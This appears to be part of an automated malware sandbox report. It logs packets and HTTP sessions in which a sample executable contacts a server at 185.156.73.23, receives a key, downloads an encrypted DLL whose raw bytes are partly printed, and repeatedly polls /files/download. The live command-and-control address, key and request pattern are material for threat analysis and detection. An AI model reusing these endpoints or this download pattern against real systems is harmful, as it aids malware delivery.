Dec 20, 2024 17:10:05.550671101 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.550715923 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.551805019 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.551856041 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.551907063 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.551947117 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.552966118 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.553040028 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.553092957 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.553155899 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.554167986 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.554203987 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.554219007 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.554256916 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.555330992 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.555391073 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.555413961 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.555592060 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.556571960 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.556618929 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.556655884 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.556695938 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.557786942 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.557868958 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.557897091 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.557939053 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.558878899 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.559082031 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.559109926 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.559119940 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.560178041 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.560193062 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.560240030 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.560240030 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.561280012 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.561323881 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.561351061 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.561391115 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.562560081 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.562623024 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.562673092 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.562716007 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.563663960 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.563709974 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.563745975 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.563787937 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.564951897 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.565001965 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.565009117 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.565067053 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.566065073 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.566107988 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.566174030 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.566211939 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.567286015 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.567349911 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.567353010 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.567392111 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.568459988 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.568517923 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.568538904 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.568558931 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.569768906 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.569782972 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.569817066 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.569835901 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.570812941 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.570858955 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.570889950 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.570966959 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.572053909 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.572103024 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.572266102 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.572315931 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.573256016 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.573297977 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.573405027 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.574461937 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.574492931 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.574542999 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.574577093 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.574618101 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.575689077 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.575761080 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.575798988 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.576771975 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.576894045 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.576915026 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.576941967 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.578011990 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.578062057 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.578104973 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.579202890 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.579267979 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.579274893 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.579325914 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.580302000 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.580530882 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.710134983 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.710220098 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.710285902 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.710330963 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.710659027 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.710716963 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.710717916 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.710764885 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.711885929 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.711947918 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.711975098 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.712021112 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.713129997 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.713167906 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.713196993 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.713213921 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:05.714216948 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:05.714284897 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:08.379364014 CET	80	49935	185.156.73.23	192.168.2.7
Dec 20, 2024 17:10:08.379508018 CET	49935	80	192.168.2.7	185.156.73.23
Dec 20, 2024 17:10:38.565264940 CET	49935	80	192.168.2.7	185.156.73.23

HTTP Request Dependency Graph

185.156.73.23

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49821	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:16.908464909 CET	414	OUT	GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:18.268279076 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Dec 20, 2024 17:09:18.280402899 CET	388	OUT	GET /dll/key HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:18.792028904 CET	224	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 21 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 39 74 4b 69 4b 33 62 73 59 6d 34 66 4d 75 4b 34 37 50 6b 33 73 Data Ascii: 9tKiK3bsYm4fMuK47Pk3s
Dec 20, 2024 17:09:18.797880888 CET	393	OUT	GET /dll/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:19.368071079 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="fuckingdllENCR.dll"; Content-Length: 97296 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 58 4d 20 a9 34 49 68 99 fe 5d 0a b3 eb 74 b6 26 d0 73 db 11 cf 76 c9 30 7b 06 76 1e 76 73 27 c0 ad eb 3a aa 6c ec 68 b4 13 95 65 19 c0 04 a4 9f 52 d6 da b1 8e f9 31 83 b8 06 72 fc 52 2b 46 6b 2a f7 94 87 96 7e f9 73 f3 a2 8e 06 fa 0b c3 51 a1 b1 0b 1e e4 72 c9 54 ac 62 d5 ed 06 c7 96 dd b1 7e 63 b2 8d 5b 1d 87 0b cf 81 a3 a5 ba ba 3b a3 fc ff 6a ac 40 e8 30 b2 25 84 88 f9 dd 19 78 dd e8 c7 76 cb 77 fb f0 2e a7 1d 3c 72 75 0a 1c 17 d3 59 72 65 3b f4 62 36 1d 14 b2 48 51 2d d4 ec ba cd 38 bf 42 b3 9b 51 82 61 a1 c0 c6 52 bc 3a cc 68 26 72 90 a0 a6 17 be fc 07 3d a2 3b 72 1e 6b e2 0b 54 e2 40 e0 ea b9 d0 e1 6c 8b cf 3b 23 fd 94 33 21 e6 4f b4 00 78 da 7d a1 13 e8 b9 03 f4 00 bb ce 79 27 3c 0a 47 66 51 90 4b af 23 d8 4c 35 76 10 1e 5d d4 b3 01 f6 db 8a 1e 18 de 64 f3 a6 e9 b9 b8 cb fe 4e 7b 65 a0 c7 bc 40 05 fa f3 1e a1 c2 e7 7f 08 cd ec 7f e9 a4 1b b2 f5 41 5c 8e 11 3c bc 74 f3 75 ed 58 15 4f ef 6e c5 e9 5a 89 8e 20 86 58 62 b1 4f 3c 84 2a 5a a5 a4 cf 68 7e 9b 28 b1 57 99 66 af 7a 0d 56 cb 34 09 db 4c [TRUNCATED] Data Ascii: XM 4Ih]t&sv0{vvs':lheR1rR+Fk~sQrTb~c[;j@0%xvw.<ruYre;b6HQ-8BQaR:h&r=;rkT@l;#3!Ox}y'<GfQK#L5v]dN{e@A\<tuXOnZ XbO<Zh~(WfzV4L%50H`syB(IL5s:aS}XM9Jo)'M;n6]Wn)L_e>[RA.'6N.g6IY%h 3r^\b~y/h2ZLku}V<fbD<!_2zoIEPOuPw#6N&lR}GILYNyzjHy'_5Pd9y+6q)GcL#5\M5U])U(~HmYG1r4BhP]iM%)q.]~\|jbK!N7R}T2bsq1L^!\|qD'sLnD@bn%0=bQ1+lQXO\|NC.d{08F<Wy{oj3n4eS] KoBH~sh1m86{lsRq~w_;X*#U
Dec 20, 2024 17:09:19.368096113 CET	1236	IN	Data Raw: 98 ce 36 6e 99 4f 44 62 54 a0 2b 5a 63 96 17 1c 8e 71 d6 10 c5 90 ce 53 f1 24 2d 53 60 59 54 cc 01 e7 c4 70 93 60 32 41 18 ce 0d 55 c7 24 07 69 64 06 3a b3 b0 e0 76 6e 84 3b d8 aa e7 9e f0 d5 ee 45 9c b1 50 a7 0a df 3f 11 c8 6e 7d 41 c9 76 d2 0f Data Ascii: 6nODbT+ZcqS$-S`YTp`2AU$id:vn;EP?n}AvLwU\|}"Gi9ZIxw.sY-KnP2oWci#2kgDZ6~,o9"opx(uccgv@M)nL
Dec 20, 2024 17:09:19.368113995 CET	1236	IN	Data Raw: 44 70 21 ac fa dd 10 12 6c 8f df 8d 2a 52 37 0a bc 2b 32 e0 ca d2 85 4a 5e 2a bb 89 27 6f b7 ed ec 11 16 da 35 88 e8 c7 a0 fb 57 12 bc ee 7b 8e 20 56 98 d0 5f d5 fa 6e b8 a6 bb 07 ab 54 57 ec 21 3a 2e 06 6d 3f c9 25 6c 63 ce e7 5a 5e c2 32 24 bd Data Ascii: Dp!lR7+2J^'o5W{ V_nTW!:.m?%lcZ^2$2[#LeCe+: rUz(-dFI?[VH0-!{</Bge!ygJZ=XwPMeh5]Bki'\L4u
Dec 20, 2024 17:09:19.368232012 CET	1236	IN	Data Raw: 42 47 80 86 ae 70 77 dd c9 a4 43 ea 79 cc 36 24 d5 a0 a8 68 e2 19 03 24 ed 93 0c db 15 78 2a 88 5a 7c 59 51 fe c6 7c 01 35 8f e1 23 99 84 04 00 e3 d2 e6 6e e4 8f 85 26 21 77 40 81 44 b6 9f 1d 75 1d 8d 68 73 3a 7c 42 46 c1 18 9b 47 fd 90 63 33 b4 Data Ascii: BGpwCy6$h$xZ\|YQ\|5#n&!w@Duhs:\|BFGc3_^MH_FJn-U,e?lzR3Ib=nuH_x}q^6vP2'\:)j!gJH:yA".E<tj)>N]
Dec 20, 2024 17:09:19.368247032 CET	1236	IN	Data Raw: 65 3b 47 31 40 6c 58 a4 f2 72 e0 62 45 fe 13 75 f3 bf 71 98 82 ed 0b 91 d9 fa 6f fb bb 0c b6 96 17 6c 50 87 9d 6a f0 e3 e5 e5 17 2f 04 e1 78 4b 7b ec a4 0a 66 3a c7 1b de e3 06 f4 33 94 a4 66 e3 66 11 87 2a 50 e7 5f f0 a7 8b 90 b0 e7 20 a1 56 ea Data Ascii: e;G1@lXrbEuqolPj/xK{f:3ff*P_ VufJJh2~Uz=;6DmjDX,t3{etiOaB?hcMT#iHyKg7`Cx6'JgYOL(>@2O0inol%t-9'
Dec 20, 2024 17:09:19.368263006 CET	1236	IN	Data Raw: 18 fc a2 90 2b 67 71 38 68 4e e5 23 79 cf 33 c9 7b 68 89 24 07 d9 65 9b c2 05 5b 73 79 a0 fa 5d 0b 18 e7 03 da 3c 02 9a eb 59 06 94 8c a5 f8 69 3f f6 01 62 ec cb f9 de 45 fa 09 83 a3 f7 21 af d3 6f d5 a4 26 c7 c1 ee 10 d1 cd 23 d9 b7 3d bf ce a7 Data Ascii: +gq8hN#y3{h$e[sy]<Yi?bE!o&#=fmCALA-0BiwXV-+[X>Og{:i{It_v50#xa=cWBd/QFI6N' 3F$R/3Oqt]uqp3GU@(
Dec 20, 2024 17:09:19.368623972 CET	1236	IN	Data Raw: 86 d0 0e 0e f5 2b 0b f5 8d f7 79 40 71 81 e1 45 02 36 97 09 61 9b 5f dc b2 b1 d0 95 a0 5d 70 7b 40 b1 c5 76 fa 38 88 2f 7c 5a a9 00 9d 47 93 df 14 da 54 c6 55 b5 fc 8e fd 29 bf 7f d9 f7 52 82 c1 5f b3 a1 7d bb 48 e0 29 38 0d 63 13 83 b6 e2 b0 e0 Data Ascii: +y@qE6a_]p{@v8/\|ZGTU)R_}H)8c'ATd10?lg;&jg8KnWwD0a_r+42}20.u~Q$z2i@=sdkO8m(pC
Dec 20, 2024 17:09:19.368644953 CET	1236	IN	Data Raw: c3 9c 69 5d eb 54 db 81 bb 6b 66 5e ab f4 9b 3d ee ff 1b d1 4b 71 18 e1 6e 42 a8 ab 9c 98 14 85 99 99 0e a1 66 a6 1c 27 bd 4a b3 a3 d4 cf 6b 2b dc 89 26 b7 59 fe 26 0d 72 54 62 f2 c9 80 5f 45 0d 82 64 28 85 e9 69 0d 69 77 dd df e1 4d 16 de d3 9a Data Ascii: i]Tkf^=KqnBf'Jk+&Y&rTb_Ed(iiwM3mo.m4moNm09k-:zTzxGc\|Ub<\|Y>. Tu#f-UM!+g@!4<fG7IkEl
Dec 20, 2024 17:09:19.376415968 CET	1236	IN	Data Raw: bf 33 41 12 5b 52 91 a7 94 e0 e5 21 5d 8d 93 1b 30 af be 5e 8f 7b 94 24 bc 87 3d 50 74 38 00 cd a5 7b 35 ab 90 44 11 e5 40 7a 29 92 1d b3 4a 52 10 d4 8d 43 b3 ff 3c 6b 20 35 4a e1 86 bc f7 99 68 67 d7 c4 fb c8 a1 b9 38 b1 27 61 b3 3c e2 f9 cc 06 Data Ascii: 3A[R!]0^{$=Pt8{5D@z)JRC<k 5Jhg8'a<dIC2ui$wtHLnc}QJ4;[r\|^%<t5S[AIa+48*xs30SxNZCPH3U"~6GxeZE3 SZF&=Qt`d^u
Dec 20, 2024 17:09:19.377154112 CET	1236	IN	Data Raw: c8 a2 6d 52 66 a8 66 51 d1 c3 c9 87 9b d8 0b 44 57 eb 08 d8 cd bc b7 be b7 f1 4b 89 c0 b1 44 55 84 bc 8d 8d 36 2c c3 07 89 a5 46 50 8a ac fe f3 ba 23 4d 4f e4 0f 27 9f e1 11 07 f4 e0 e7 17 61 0e 07 54 3f cc 3f ae 3a 77 4d e4 44 61 15 b1 b3 97 25 Data Ascii: mRffQDWKDU6,FP#MO'aT??:wMDa%k;3?Bc\| yp`yzlSniVN(Bv}:XsOf.~zToX8n K$:D6Z%NNng=t+L~6DtFX[a/[
Dec 20, 2024 17:09:19.384824038 CET	1236	IN	Data Raw: d3 59 d3 30 18 53 4e 25 dc 9e 95 b9 da a6 3e 71 c0 45 79 32 7a f2 9f 43 ae e4 0b 25 8a bf 44 da e3 4d 77 72 50 8f 9d 18 42 0f 58 f1 b2 46 1d e6 97 70 c7 39 3b b2 a3 64 90 74 04 57 77 50 fc 49 1c ac 46 a7 37 5f 66 b7 fd b1 37 84 39 3f 7b d6 9b 57 Data Ascii: Y0SN%>qEy2zC%DMwrPBXFp9;dtWwPIF7_f79?{WdA_9qH1^S-;0_lc%.I5[j-(HK&c?EUXTVnMXyU47=`L4^9\7am:i`v{]
Dec 20, 2024 17:09:19.902302027 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:20.389518023 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49834	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:22.555332899 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:24.041241884 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49844	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:26.193824053 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49850	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:28.377222061 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:30.750502110 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:29 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49863	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:32.983361006 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:34.341655970 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:34 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49872	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:36.564640999 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:37.912214041 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49880	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:40.178143024 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
Dec 20, 2024 17:09:41.539449930 CET	204	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:09:41 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49889	185.156.73.23	80	4204	C:\Users\user\Desktop\3K6rBUOQ2z.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 17:09:43.689964056 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.73.23 Connection: Keep-Alive Cache-Control: no-cache
